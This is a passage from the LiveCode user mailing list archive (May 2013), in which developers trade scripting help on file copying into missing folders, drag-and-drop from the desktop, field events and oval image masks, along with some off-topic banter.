programmer will edit this Wikipedia entry to "flesh out" the sections. After that, I want to translate the page to spanish. :) Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Wikipedia-s-LiveCode-page-updated-tp4664625.html Sent from the Revolution - User mailing list archive at Nabble.com. From gerry.orkin at gmail.com Thu May 9 19:03:09 2013 From: gerry.orkin at gmail.com (Gerry Orkin) Date: Fri, 10 May 2013 09:03:09 +1000 Subject: [OT - I remembered this time] In-Reply-To: References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> Message-ID: Oh it could have been A, C, G, F. I forget :) g On 10/05/2013, at 6:39 AM, Timothy Miller wrote: >> >> All he could think about was >> A, D, F, G...A, D, F, G...A, D, F, G... > > I can't figure that one out. Hint? From dochawk at gmail.com Thu May 9 19:18:39 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 16:18:39 -0700 Subject: Is there a textChanged property? In-Reply-To: <518C0AAC.2090205@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> <518BF6B7.3060001@hyperactivesw.com> <518C0384.9050801@hyperactivesw.com> <518C0AAC.2090205@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 1:44 PM, J. Landman Gay wrote: > The debugger is interfering because the focus is now in the script editor. > Instead, open the Message Watcher (Development menu) and run your handlers > normally. You'll see the messages in there. Wow. I removed the breakpoint, and this did it. Thank you. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From lvhdgc7 at gmail.com Thu May 9 19:39:02 2013 From: lvhdgc7 at gmail.com (tbodine) Date: Thu, 9 May 2013 16:39:02 -0700 (PDT) Subject: How to copy a file so it creates missing folders in the path Message-ID: <1368142742092-4664628.post@n4.nabble.com> Hi, I'm working on a Win/Mac application and trying to copy a Preferences stack from the defaultFolder to Application Data with a unique folder there to house it. I build a path, including the folder name, but revCopyFile silently fails every time. If I remove the desired folder from the path, it works but leaves my file loose in the top level App Data folder. Is there a way to do this that creates any missing folders in the path? My code is: if gOS contains "Mac" then put specialFolderPath("asup") into tPath else put specialFolderPath(26) into tPath end if put tPath & "/MyFolder/Settings.rev" into gSettingsPath put "CustomSettings.rev" into tSourceFile revCopyFile tSourceFile, gSettingsPath When I have the folder name in the path, this fails. If I remove it, it works. (I'm also changing the name of the stack file during the copy process, but don't think that matters.) Thanks! Tom Bodine -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/How-to-copy-a-file-so-it-creates-missing-folders-in-the-path-tp4664628.html Sent from the Revolution - User mailing list archive at Nabble.com. From dunbarx at aol.com Thu May 9 20:00:46 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Thu, 9 May 2013 20:00:46 -0400 (EDT) Subject: Wikipedia's LiveCode page updated In-Reply-To: <1368140415558-4664625.post@n4.nabble.com> References: <1368140415558-4664625.post@n4.nabble.com> Message-ID: <8D01B288E3AF771-2334-2AA86@webmail-d291.sysops.aol.com> Hi. I edited just a bit. I hope you do not mind. I removed the part about numerous big fixes, as I thought this was unnecessary and might possibly raise an eyebrow or two about whether such things were an ongoing problem with the program. Your writing, as far as the English goes, is just fine. Colin and Mark deserve to be mentioned in the nascent Bibliography. Good call. I hope that list grows over time. Craig Newman -----Original Message----- From: Alejandro Tejada To: use-revolution Sent: Thu, May 9, 2013 7:01 pm Subject: Wikipedia's LiveCode page updated Hi, I just updated the LiveCode's entry in Wikipedia. Only added this information: ------------------ LiveCode is currently in v. 6.0, which includes many enhancements and multiple bug fixes for deployment in every OS platform, including iOS and Android. Bibliography Holgate, Colin. LiveCode Mobile Development Beginner's Guide Schonewille, Mark. Programming LiveCode for the Real Starter ------------------ Hopefully, a native english speaker and LiveCode programmer will edit this Wikipedia entry to "flesh out" the sections. After that, I want to translate the page to spanish. :) Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Wikipedia-s-LiveCode-page-updated-tp4664625.html Sent from the Revolution - User mailing list archive at Nabble.com. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From warren at warrensweb.us Thu May 9 20:00:54 2013 From: warren at warrensweb.us (Warren Samples) Date: Thu, 09 May 2013 19:00:54 -0500 Subject: link to 6.0.1 build 1513 In-Reply-To: <518C280F.1070903@economy-x-talk.com> References: <518C131C.5060709@economy-x-talk.com> <518C23CC.1020000@hyperactivesw.com> <518C280F.1070903@economy-x-talk.com> Message-ID: <518C38B6.5080203@warrensweb.us> On 05/09/2013 05:49 PM, Mark Schonewille wrote: > The point is: there is no big red Download button on the main page. > There is only a green "Learn More" button. Apparently, this is > sufficient for people to lose interest. I told him clearly, I might be > wrong and he should contact support while also pointing him to the main > page, but he wasn't interested anymore. With all due respect, while there isn't a "Big Red Button" it's easy enough and intuitive enough that anyone who's going to be solving logical problems (programming) and has ever used the internet, shouldn't have that hard a time finding the download link. From what you tell us, his issue was with your implied suggestion he might need to contact support to download. ("He replied that if he has to write to support at this stage already, meaning even before being able to download, then RunRev is not ready for him"). I respectfully offer that Jacquie's suggestion is a good one. Warren From ray at linkit.com Thu May 9 20:03:09 2013 From: ray at linkit.com (Ray Horsley) Date: Thu, 9 May 2013 20:03:09 -0400 Subject: Drag and Drop In-Reply-To: References: Message-ID: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> Many thanks to you all who responded to this thread I started earlier today. Unfortunately I still haven't resolved this issue so any other thought are appreciated. Here's a few responses to some of the ideas which were presented: - The mouseDown and mouseStillDown unfortunately don't work since I'm dragging a file from the desktop to a Livecode stack (not beginning the drag action in Livecode) although that's kind of cool to know that mouseMove messages get sent during a grab. I didn't know that. - Doing anything with "on dragStart" also does not work since I'm starting the drag operation outside of Livecode (on a desktop file) - Setting the dragAction to "copy" instead of "move" works better in my case since it adds a plus sign to the cursor (when it works) but still does not solve the intermittent failure of Livecode to accept the drop consistently. - Thanks for the link to the article "Pinning Drag-and-Drop to the Mat" but I had actually read through it yesterday when I began wrestling with this. It, too, does not address dragging files from the desktop into Livecode. At the end of the day I'm wondering if this should be reported as a bug. It seems like something is getting hooked in memory. It's weird that I can drag a file onto my Livecode stack (which is one large image control with the drag handlers in it) and get nothing. Then, simply continuing to drag off the stack window and right back on it fixes it. I'll continue to wrestle and post any solutions I find. Thanks! On May 9, 2013, at 4:59 PM, Scott Rossi wrote: > OK, I accepted your dare and was surprised to see that it worked (didn't > used to). Nice. > Though you're still left with the limitations of working within a single > stack, and no dragging in or out. > But if the technique works for you, awesome. > > Speaking as someone who has rolled custom drag-and-drop code (execute in > your message box): > go url "http://www.tactilemedia.com/site_files/downloads/TMdragndrop.rev" > > > ...I'll suggest from experience that at some point it will benefit you to > get a handle on the built-in routines. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/9/13 1:36 PM, "Richmond" wrote: > >> On 05/09/2013 11:07 PM, Scott Rossi wrote: >>> Only you can know why you always use that technique, >> >> What? you expect me to know my own mind? LOL. >> >> I use that technique as I tend to use a single stack, or a signle stack >> with associated palettes. >> >>> but with grab, >>> there's no way to act upon events/messages while grab is active (thus >>> you >>> can't do cursor updates and provide user feedback), and you can't "grab" >>> an object across stacks. >> >> Aha; got you. >> >> Why do I have a funny feeling that you could use >> >> mouseStillDown >> >> to get feedback >> >> Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" >> >> and a field "KOUNT" >> >> in the button I have this script: >> >> on mouseDown >> grab me >> end mouseDown >> >> on mouseStillDown >> put fld "KOUNT" into KOUNT >> add 1 to KOUNT >> put KOUNT into fld "KOUNT" >> wait 3 ticks >> end mouseStillDown >> >> on mouseUp >> put empty into fld "KOUNT" >> end mouseUp >> >> Try it, I dare you . . . you get feedback. >> >> Richmond. >> >> >>> >>> Regards, >>> >>> Scott Rossi >>> Creative Director >>> Tactile Media, UX/UI Design >>> >>> >>> >>> >>> On 5/9/13 12:42 PM, "Richmond" wrote: >>> >>>> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>>>> Ray Horsley writes: >>>>> >>>>>> What am I missing to get drag/drop working consistently? >>>>> You might also want to look at >>>>> >>>>> >>>>> >>>>> >>>> p- >>>>> to-the-mat-a-primer> >>>>> >>>> Why do I always just use >>>> >>>> on mouseDown >>>> grab me >>>> end mouseDown >>>> >>>> then set up a load of images as dropTargets and have stuff like this in >>>> the grabbedObject: >>>> >>>> on mouseUp >>>> if not within (img "target", the mouseloc) then >>>> set the loc of me to 857,673 >>>> end if >>>> end mouseUp >>>> >>>> must be missing something. >>>> >>>> Richmond. >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Thu May 9 21:00:11 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 9 May 2013 18:00:11 -0700 Subject: Is there a textChanged property? In-Reply-To: References: <518BD874.2070307@hyperactivesw.com> Message-ID: <143504349363.20130509180011@ahsoftware.net> Richard- Thursday, May 9, 2013, 10:44:27 AM, you wrote: > I don't want to react to the text changing, but rather an event > (closing the group) triggered by a keystroke, which needs the handling > that would normally occur on closefield (which resums several fields > and does something with them, with computation costs I wouldn't want > for exitField while tabbing through them). My head hurts trying to parse that sentence. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Thu May 9 21:02:22 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 9 May 2013 18:02:22 -0700 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> Message-ID: <134504480278.20130509180222@ahsoftware.net> Andre- Thursday, May 9, 2013, 12:18:14 PM, you wrote: > I will solve that by not carrying any luggage!!! :-D Isn't that the same situation as when you arrived without your luggage? -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Thu May 9 21:12:19 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 9 May 2013 18:12:19 -0700 Subject: Drag and Drop In-Reply-To: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> Message-ID: <89505076892.20130509181219@ahsoftware.net> Ray- Thursday, May 9, 2013, 5:03:09 PM, you wrote: > - Thanks for the link to the article "Pinning Drag-and-Drop > to the Mat" but I had actually read through it yesterday when I > began wrestling with this. It, too, does not address dragging files > from the desktop into Livecode. Sorry - I missed that part in your post. -- -Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Thu May 9 21:14:15 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 20:14:15 -0500 Subject: Drag and Drop In-Reply-To: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> Message-ID: <518C49E7.7080704@hyperactivesw.com> On 5/9/13 7:03 PM, Ray Horsley wrote: > At the end of the day I'm wondering if this should be reported as a > bug. It seems like something is getting hooked in memory. It's > weird that I can drag a file onto my Livecode stack (which is one > large image control with the drag handlers in it) and get nothing. > Then, simply continuing to drag off the stack window and right back > on it fixes it. I wonder if it is because you are dropping onto an image. Images don't register mouse events unless you click (or presumably release) on an opaque pixel. It may be that sometimes you're dropping onto a transparent area and then nothing will happen. You could test the theory by putting a big button over the card and seeing if the drop is reliable there, or by always consciously dropping exactly on an opaque area. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 21:16:12 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 20:16:12 -0500 Subject: Is there a textChanged property? In-Reply-To: <143504349363.20130509180011@ahsoftware.net> References: <518BD874.2070307@hyperactivesw.com> <143504349363.20130509180011@ahsoftware.net> Message-ID: <518C4A5C.2090804@hyperactivesw.com> On 5/9/13 8:00 PM, Mark Wieder wrote: > Richard- > > Thursday, May 9, 2013, 10:44:27 AM, you wrote: > >> I don't want to react to the text changing, but rather an event >> (closing the group) triggered by a keystroke, which needs the handling >> that would normally occur on closefield (which resums several fields >> and does something with them, with computation costs I wouldn't want >> for exitField while tabbing through them). > > My head hurts trying to parse that sentence. > He can't help it, he's a lawyer. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From martyknappster at gmail.com Thu May 9 21:21:41 2013 From: martyknappster at gmail.com (Marty Knapp) Date: Thu, 09 May 2013 18:21:41 -0700 Subject: Drag and Drop In-Reply-To: <518C49E7.7080704@hyperactivesw.com> References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> <518C49E7.7080704@hyperactivesw.com> Message-ID: <518C4BA5.6010608@gmail.com> I use a transparent button that covers the area I want to be able to accept the drop. I use a dragEnter in the stack to show the button and then hide it after dropping or exiting. You can give the button a border as a visual indicator. Best regards, Marty Knapp Knappster Solutions LLC --------------------------- > On 5/9/13 7:03 PM, Ray Horsley wrote: > >> At the end of the day I'm wondering if this should be reported as a >> bug. It seems like something is getting hooked in memory. It's >> weird that I can drag a file onto my Livecode stack (which is one >> large image control with the drag handlers in it) and get nothing. >> Then, simply continuing to drag off the stack window and right back >> on it fixes it. > > I wonder if it is because you are dropping onto an image. Images don't > register mouse events unless you click (or presumably release) on an > opaque pixel. It may be that sometimes you're dropping onto a > transparent area and then nothing will happen. > > You could test the theory by putting a big button over the card and > seeing if the drop is reliable there, or by always consciously > dropping exactly on an opaque area. > From dochawk at gmail.com Thu May 9 21:57:57 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 18:57:57 -0700 Subject: Is there a textChanged property? In-Reply-To: <518C4A5C.2090804@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> <143504349363.20130509180011@ahsoftware.net> <518C4A5C.2090804@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 6:16 PM, J. Landman Gay wrote: > On 5/9/13 8:00 PM, Mark Wieder wrote: >> Thursday, May 9, 2013, 10:44:27 AM, you wrote: >>> I don't want to react to the text changing, but rather an event >>> (closing the group) triggered by a keystroke, which needs the handling >>> that would normally occur on closefield (which resums several fields >>> and does something with them, with computation costs I wouldn't want >>> for exitField while tabbing through them). >> My head hurts trying to parse that sentence. > He can't help it, he's a lawyer. Think about how bad that sentence would be *without* the parentheses . . . :) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From bonnmike at gmail.com Thu May 9 22:48:51 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Thu, 9 May 2013 20:48:51 -0600 Subject: Data Grid Question In-Reply-To: <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <1367698110.84151.YahooMailRC@web181404.mail.ne1.yahoo.com> <1367861551.9648.YahooMailRC@web181404.mail.ne1.yahoo.com> <1368042533.36842.YahooMailRC@web181402.mail.ne1.yahoo.com> <1368132998.44907.YahooMailRC@web181406.mail.ne1.yahoo.com> Message-ID: If you have everything working correctly now, no reason to remove the preferences file, but if you need to for some other reason its name is livecode.rev On mac its (I think) in /Users/yourUsername/Library/Preferences/RunRev/ In windows somewhere around here: C:\Users\username\AppData\Roaming\RunRev\ Preferences\livecode.rev In linux its probably in a .folder in the users home directory. Sometimes wiping out the prefs does help. Sometimes not. From gandalf at doctorTimothyMiller.com Thu May 9 23:18:11 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Thu, 9 May 2013 20:18:11 -0700 Subject: [OT - I remembered this time] In-Reply-To: <518C0AF0.8060200@gmail.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> <518C0AF0.8060200@gmail.com> Message-ID: <9141150E-36D4-4E68-8358-D5D5FFD2D679@doctorTimothyMiller.com> On May 9, 2013, at 1:45 PM, Richmond wrote: > Let's just say that if I find Jerry Garcia, John Lennon or Janis Joplin anywhere near me in heaven, > I'll ask for a transfer to hell directly; especially with regard to Jerry Garcia. Okay... Lil Wayne overdoses on drank for the last time. He finds himself in a vast featureless space. As he approaches the stage, he sees Tupac and Biggie Big... Is that a better start, or worse? Tim From monte at sweattechnologies.com Fri May 10 01:15:12 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 10 May 2013 15:15:12 +1000 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: References: Message-ID: <4691CFFD-373A-4DFA-98F2-F34AEE174FEB@sweattechnologies.com> I asked this exact question on StackOverflow a couple of weeks ago and before I was attacked by Mark for not asking the question he answered we were getting somewhere... I did create solution that works by retaining an offset for the child objects to use in their resizing. http://stackoverflow.com/questions/16168091/how-do-you-change-the-rect-of-a-group-without-changing-the-location-of-the-objec/16178454#16178454 Anyway... all will be revealed at the conference on Tuesday On 10/05/2013, at 5:23 AM, Thomas McGrath III wrote: > Is there a way to resize and move a scrolling group without touching the inside contents of that group??? This is on mobile and I need to resize a scrolling group based on the position of the UI (navbar and toolbar when in portrait and landscape) when the UI changes and then after the scrolling group is right I then need to separately resize the contents for retina if needed -- to double their height, width and topleft -- or regular. > > If I resize the group first then it moves the content and then doubling the content makes it the right size but positioned wrong. > If I resize the content and then move the group then it again correctly sizes the contents but positions them wrong. > > If the group moves then everything is in a different position from when I laid them out in the desktop so they are off. > > I want the scrolling group code to be separate from the resizing code if possible. > > > Thanks, > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From me at paulmaguire.me Fri May 10 04:40:13 2013 From: me at paulmaguire.me (Paul Maguire) Date: Fri, 10 May 2013 09:40:13 +0100 Subject: [OT - I remembered this time] In-Reply-To: <9141150E-36D4-4E68-8358-D5D5FFD2D679@doctorTimothyMiller.com> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> <518C0AF0.8060200@gmail.com> <9141150E-36D4-4E68-8358-D5D5FFD2D679@doctorTimothyMiller.com> Message-ID: <244F45C5-A968-4355-AC57-11D72EA5F14F@paulmaguire.me> On 10 May 2013, at 04:18, Timothy Miller wrote: > Biggie Big. Small change. From klaus at major-k.de Fri May 10 04:54:04 2013 From: klaus at major-k.de (Klaus major-k) Date: Fri, 10 May 2013 10:54:04 +0200 Subject: How to copy a file so it creates missing folders in the path In-Reply-To: <1368142742092-4664628.post@n4.nabble.com> References: <1368142742092-4664628.post@n4.nabble.com> Message-ID: Hi Tom, Am 10.05.2013 um 01:39 schrieb tbodine : > Hi, > > I'm working on a Win/Mac application and trying to copy a Preferences stack > from the defaultFolder to Application Data with a unique folder there to > house it. I build a path, including the folder name, but revCopyFile > silently fails every time. If I remove the desired folder from the path, it > works but leaves my file loose in the top level App Data folder. Is there a > way to do this that creates any missing folders in the path? > > My code is: > > if gOS contains "Mac" then > put specialFolderPath("asup") into tPath > else > put specialFolderPath(26) into tPath > end if put tPath & "/MyFolder/" into gSettingsFolder > put tPath & "/MyFolder/Settings.rev" into gSettingsPath ## Check for folder and create it if neccessary: if there is NOT a folder gSettingsFolder then create folder gSettingsFolder end if ## Target file can be named whatever you like! > put "CustomSettings.rev" into tSourceFile > revCopyFile tSourceFile, gSettingsPath ... > > When I have the folder name in the path, this fails. If I remove it, it > works. (I'm also changing the name of the stack file during the copy > process, but don't think that matters.) > > Thanks! > Tom Bodine Best Klaus -- Klaus Major http://www.major-k.de klaus at major-k.de From andre.bisseret at wanadoo.fr Fri May 10 05:36:50 2013 From: andre.bisseret at wanadoo.fr (=?iso-8859-1?Q?Andr=E9_Bisseret?=) Date: Fri, 10 May 2013 11:36:50 +0200 Subject: Drag and Drop In-Reply-To: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> References: <16AEE939-9763-492A-970D-D3331C9E6291@LinkIt.Com> Message-ID: <65D326C9-3E31-4834-BC9E-835B35F4A668@wanadoo.fr> Bonjour Ray, Recently I had a similar problem but while dragging from one locked field to an unlocked field on the same card. The dragdrop handler did not work until I "pass dragdrop" at the end of the dragdrop handler. Not sure that will help in your case! Best regards Andr? Le 10 mai 2013 ? 02:03, Ray Horsley a ?crit : > Many thanks to you all who responded to this thread I started earlier today. Unfortunately I still haven't resolved this issue so any other thought are appreciated. Here's a few responses to some of the ideas which were presented: > > - The mouseDown and mouseStillDown unfortunately don't work since I'm dragging a file from the desktop to a Livecode stack (not beginning the drag action in Livecode) although that's kind of cool to know that mouseMove messages get sent during a grab. I didn't know that. > > - Doing anything with "on dragStart" also does not work since I'm starting the drag operation outside of Livecode (on a desktop file) > > - Setting the dragAction to "copy" instead of "move" works better in my case since it adds a plus sign to the cursor (when it works) but still does not solve the intermittent failure of Livecode to accept the drop consistently. > > - Thanks for the link to the article "Pinning Drag-and-Drop to the Mat" but I had actually read through it yesterday when I began wrestling with this. It, too, does not address dragging files from the desktop into Livecode. > > At the end of the day I'm wondering if this should be reported as a bug. It seems like something is getting hooked in memory. It's weird that I can drag a file onto my Livecode stack (which is one large image control with the drag handlers in it) and get nothing. Then, simply continuing to drag off the stack window and right back on it fixes it. > > I'll continue to wrestle and post any solutions I find. > > Thanks! > > On May 9, 2013, at 4:59 PM, Scott Rossi wrote: > >> OK, I accepted your dare and was surprised to see that it worked (didn't >> used to). Nice. >> Though you're still left with the limitations of working within a single >> stack, and no dragging in or out. >> But if the technique works for you, awesome. >> >> Speaking as someone who has rolled custom drag-and-drop code (execute in >> your message box): >> go url "http://www.tactilemedia.com/site_files/downloads/TMdragndrop.rev" >> >> >> ...I'll suggest from experience that at some point it will benefit you to >> get a handle on the built-in routines. >> >> Regards, >> >> Scott Rossi >> Creative Director >> Tactile Media, UX/UI Design >> >> >> >> >> On 5/9/13 1:36 PM, "Richmond" wrote: >> >>> On 05/09/2013 11:07 PM, Scott Rossi wrote: >>>> Only you can know why you always use that technique, >>> >>> What? you expect me to know my own mind? LOL. >>> >>> I use that technique as I tend to use a single stack, or a signle stack >>> with associated palettes. >>> >>>> but with grab, >>>> there's no way to act upon events/messages while grab is active (thus >>>> you >>>> can't do cursor updates and provide user feedback), and you can't "grab" >>>> an object across stacks. >>> >>> Aha; got you. >>> >>> Why do I have a funny feeling that you could use >>> >>> mouseStillDown >>> >>> to get feedback >>> >>> Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" >>> >>> and a field "KOUNT" >>> >>> in the button I have this script: >>> >>> on mouseDown >>> grab me >>> end mouseDown >>> >>> on mouseStillDown >>> put fld "KOUNT" into KOUNT >>> add 1 to KOUNT >>> put KOUNT into fld "KOUNT" >>> wait 3 ticks >>> end mouseStillDown >>> >>> on mouseUp >>> put empty into fld "KOUNT" >>> end mouseUp >>> >>> Try it, I dare you . . . you get feedback. >>> >>> Richmond. >>> >>> >>>> >>>> Regards, >>>> >>>> Scott Rossi >>>> Creative Director >>>> Tactile Media, UX/UI Design >>>> >>>> >>>> >>>> >>>> On 5/9/13 12:42 PM, "Richmond" wrote: >>>> >>>>> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>>>>> Ray Horsley writes: >>>>>> >>>>>>> What am I missing to get drag/drop working consistently? >>>>>> You might also want to look at >>>>>> >>>>>> >>>>>> >>>>>> >>>>> p- >>>>>> to-the-mat-a-primer> >>>>>> >>>>> Why do I always just use >>>>> >>>>> on mouseDown >>>>> grab me >>>>> end mouseDown >>>>> >>>>> then set up a load of images as dropTargets and have stuff like this in >>>>> the grabbedObject: >>>>> >>>>> on mouseUp >>>>> if not within (img "target", the mouseloc) then >>>>> set the loc of me to 857,673 >>>>> end if >>>>> end mouseUp >>>>> >>>>> must be missing something. >>>>> >>>>> Richmond. >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>>> >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre.bisseret at wanadoo.fr Fri May 10 06:05:58 2013 From: andre.bisseret at wanadoo.fr (=?iso-8859-1?Q?Andr=E9_Bisseret?=) Date: Fri, 10 May 2013 12:05:58 +0200 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <518BD52F.2060106@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> <518A8AAA.4030008@hyperactivesw.com> <5BB9F465-1317-4A97-990D-7E9C70651F7E@wanadoo.fr> <518BD52F.2060106@hyperactivesw.com> Message-ID: Le 9 mai 2013 ? 18:56, J. Landman Gay a ?crit : > On 5/9/13 3:00 AM, Andr? Bisseret wrote: >> Thank you Shawn >> Seems not be my case. >> And I get no crash log >> I get a completely empty screen and have to force switch off (pushing the button (top right of the keyboard) for several seconds) > > Is it a hang? If you're on Mac, look in Console at the "System Diagnostic Reports", that's where I found the hang report for mine. > > I haven't uploaded that yet because Shawn's report was about an actual crash so I need to start a new report. If you can find yours, you could add it to mine. It sounds similar. Up to now I never used Console! So I just discovered it, thanks to you. I will try again using 6 as soon as possible and manage to find the hang report ;-)) Andr? From david at scimatch.org Fri May 10 06:59:24 2013 From: david at scimatch.org (David Bovill) Date: Fri, 10 May 2013 11:59:24 +0100 Subject: Oval framed photo Message-ID: Trying to work out the right combination of blends for an image (photo) and a graphic oval to create an oval mask. Ideally this is a group so that I can change the image and not something which depends on an alpha channel. Getting close - but nothing quite right yet. Suggestions? From david at scimatch.org Fri May 10 07:22:07 2013 From: david at scimatch.org (David Bovill) Date: Fri, 10 May 2013 12:22:07 +0100 Subject: Oval framed photo In-Reply-To: References: Message-ID: OK - seems like this works: - Image at back using ink "blendSrcAtop" - Graphic in front, black filled oval, with ink "blendSrcOver" - Group both objects and set the ink of the group to "blendSrcOver" Or use the following scripts: getprop show_Rounded > put the ink of me into someInk > if someInk is "blendSrcOver" then > return true > else > return false > end if > end show_Rounded > > setprop show_Rounded someBoolean > put the graphic_Object of me into roundedGraphic > put the image_Object of me into imageObject > set the ink of imageObject to "blendSrcAtop" > > if someBoolean is true then > set the ink of me to "blendSrcOver" > set the ink of roundedGraphic to "blendSrcOver" > else > set the ink of me to "srcCopy" > set the ink of roundedGraphic to "srcCopy" > end if > end show_Rounded > On 10 May 2013 11:59, David Bovill wrote: > Trying to work out the right combination of blends for an image (photo) > and a graphic oval to create an oval mask. Ideally this is a group so that > I can change the image and not something 